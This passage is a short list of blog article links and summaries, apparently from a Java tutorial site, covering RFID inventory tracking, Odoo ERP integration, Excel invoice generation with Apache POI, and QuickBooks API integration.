Explains how RFID technology integrates with Java applications to automate inventory tracking, reduce manual errors, and enable real-time stock monitoring in warehouses and retail environments.
https://macronepal.com/blog/erp-integration-with-odoo-in-java/
Explains how Java applications connect with Odoo ERP systems to synchronize inventory, orders, customer records, and financial data across enterprise systems.
https://macronepal.com/blog/automated-invoice-generation-creating-professional-excel-invoices-with-apache-poi-in-java/
Explains how to automatically generate professional Excel invoices in Java using Apache POI, enabling structured billing documents and automated financial record creation.
https://macronepal.com/blog/enterprise-financial-integration-using-quickbooks-api-in-java-applications/
Explains QuickBooks API integration in Java to automate financial workflows such as invoice management, payment tracking, accounting synchronization, and financial reporting.